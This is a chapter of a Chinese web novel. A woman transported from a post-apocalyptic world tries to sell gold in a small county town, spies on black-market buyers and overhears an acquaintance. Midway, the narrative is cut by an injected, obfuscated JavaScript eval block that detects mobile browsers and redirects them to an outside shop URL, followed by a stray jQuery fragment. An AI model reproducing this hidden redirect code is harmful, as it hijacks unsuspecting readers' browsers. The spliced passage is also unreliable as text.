顺着北边走了许久,二十分钟后,向云路过一个偏僻巷子时,探了探头,发现在角落里有几个摆摊的,一张麻布铺地上,东西摆在麻布上,这就算个摊。
向云也没失望,挨个看了看,最后蹲在个卖旧物的摊前。
“大爷,收老水儿的首饰不?”
老头抬眼:“金的银的?”
“金。”
“按重量收,一克……”老头比了个手势。
八块一克,一根小黄鱼差不多三十克,算下来不到三百。赵大妹说两根值千把块,差了将近一倍。当然,这老头报的价肯定有水分。
“这么低啊。”
老头嗤了一声:“你去东街寄卖行问问。不过他们有规矩,要证明。你拿得出来吗?或者你去人民银行,国家的,但人家要查你的底。”
向云没多说,更没多问,她在另外两个摊子前各蹲了一会儿。一个摊子收铜器,一个收旧书,没有卖吃食的,更没别的摊位。
看了一会儿,她心里有数了:后街的东西,都是“看着值钱,换不出钱”,也不知道那大娘为何会推荐她来这边,也还好她没来这边寻吃食,要不,真的要饿死了。
向云朝主街走去,打算去银行摸摸行。
才走到主街,就见银行大门紧闭,她心里闪过一丝失望,随即瞄到路边的电线杆的影子,原来是中午了。这个点,粮店、供销社这些国营的都会关门休息,她没处可去,找了个有阴凉且能看到银行大门的角落,靠墙蹲着。
好不容易等到银行开门,她站起身拍了拍屁股上的泥土,进了银行。
奉臾县不大,县城的银行也小,也就两个办事员,这会儿没别人在前面办事,她走过去挑了个面善的问:“同志,我想问一问,那种金物件,咱这能换吗?”
“金物件?金条?金条我们换,不过你要有证明。”
向云心里一沉,金条太打眼,她连询问都不想提及。但首饰……她犹豫了一瞬,还是没问出口。
问到这里,信息了解的已经够了,没必要在这惹人留意。
“谢谢同志,我回去问问。”她腼腆笑了笑,退出了银行。
柜台后的女同志随意扫过她的穿着,不在意地低下了头,她们偶尔也会遇到这种只问不办业务的人,早就习惯了。
向云走出银行,此刻天上的太阳正烈,刺得她睁不开眼。她没急着离开,不急不缓地找了街角阴凉处,看着街上的人来人往。
穿灰蓝褂子的干部,挑担子的乡下人,几个四五岁大的小孩蹲在墙角玩石子。
赵大妹说两条值千把块,一条少说五百。后街收旧货的给三百不到,但没安全保证。
有保证的银行,要按规矩办事。
她原以为只要东西在手,总能换出钱来。现在看,没门路,这东西就是个死物。
向云心中有一股说不上来的愤懑,她真想给赵大妹一拳,砸她脸上。
但很快,她把那股火压下去了。不管赵大妹怎么说的,她当时接受了。
接受了,便是她的责任,她得解决问题。
情绪在问题面前,什么都不是。
向云挤出个苦笑,看来还是穿来后过于顺遂,让她得意忘形了。
在末世要跟变异兽、进化植物竞争生存空间;在这里,则是要以落后的生产力和生产工具,在不违背规则的前提下,获得生存资源。
前者动辄没命,后者嘛,活得不自在。
想通了这些的向云去了街对面的粮店,问清楚了粮价:大米一毛四,二八面一毛七,玉米面八分。
这里的大米其实是糙米。在末世,这种东西只存在于历史书里。她这几天吃的糙米虽不多,却是真的吃到了。
所以,哪怕规则她还没摸透,她也要努力、好好活下去。
只有这样,她才能多多吃各种各样的食物呀!
想明白了的向云,浑身充满干劲,踢踢踏踏地来到东街寄卖行。
寄卖行就是个小门脸,比主街的银行窄,上面挂着寄卖行的木质招牌。
向云也没进去,她今天去过银行和后街,哪怕问的不是金条,但县城就这么丁点大,金首饰再小也是肉,万一那些人说漏嘴呢。
现在时间还算早,向云在寄卖行侧对面的凉粉摊前坐下,“大娘,来一碗凉粉。”
“两分钱一碗。”
“好。”
向云吃得很慢,但她吃完了两碗凉粉,寄卖行一直没人进出,就在她觉得再继续坐在这吃凉粉会暴露时,一个穿着蓝布短袖的妇人攥着个布包进去了。
没一会儿,妇人出来,脸色很不好,嘴里还念叨着什么。
向云没听清,但那妇人往北走了。
她给了钱,去了另一条巷子,七拐八拐地绕到那妇人走的方向,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17924519|213216||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
找错两次后,终于见到了妇人的身影。
她松了口气,也没跟太紧,不远不近地随在她身后。
好在县城并不算大,巷道也不复杂,只要找对了方向,一般都不会迷路。
向云走到后街巷口便停住了,这个距离她能听见里面的说话声,而里边巷道的人却看不见自己的身影,这是她上回来时便发现的绝佳偷听地点。
她靠墙蹲下,把布鞋脱了,抖了抖里面的泥渣,又扯了墙角的杂草,搅和成一团,将鞋底上的土刮干净,重新穿上。
听了几句,向云心里有了数。
寄卖行故意用证明来拦人寄卖,巧妙将着急用钱又没证明的人转手推给后街,后街的老头用低价收了,能高价出手就出手,不能高价出手再转卖到寄卖行便是,差价是保底赚的。
向云慢悠悠地将一双鞋的鞋底整理好,那位妇人也跟老头谈好了价。
待听见老头说“你随我来”后,向云起身朝另一边巷道走去,她行走的速度控制地恰到好处,前脚进了巷道,后脚老头和那妇人路过了她刚刚坐着理鞋的位置。
等向云从巷道里走出来时,早已不见老头和那妇人的身影,她慢悠悠地却目的明确地朝前走。
路过三条巷道,她疾步拐入城东的一条巷道,再一次闻到了那混杂着草跟泥的气味。
这是老头和妇人踩过她仍在地上的杂草时沾上的气味。
想着路上避过的,藏在暗处的去盯梢人,向云不敢再继续往前,这一群人过于谨慎,人手众多,哪怕她有进化能力,也不可能斗得过他们。
而她也并不想直接对上。
她只是来摸清门道的,可不是来扫黑的。
正当她准备离开时,突然听到了动静,赶紧缩回暗处,大气都不敢喘一下。
“妹儿,胡爷给你的价,绝对公道,就是你手上的货真有那么多吗?”
“嗯,多的不敢说,胡爷要的数,我有。只是我有货,你们有钱吗?”
“呵,才四……”后面的话向云就听不清了。
四什么?四根?还是更多?
向云不知道,但哪怕就是指代不清的几句话,也让她屏住了呼吸。
那是赵大妹的声音!
胡爷,老头,盯梢的人,赵大妹手上的货——这些在她脑子里转了一圈。
她顺着来时的路,慢慢退出了巷道。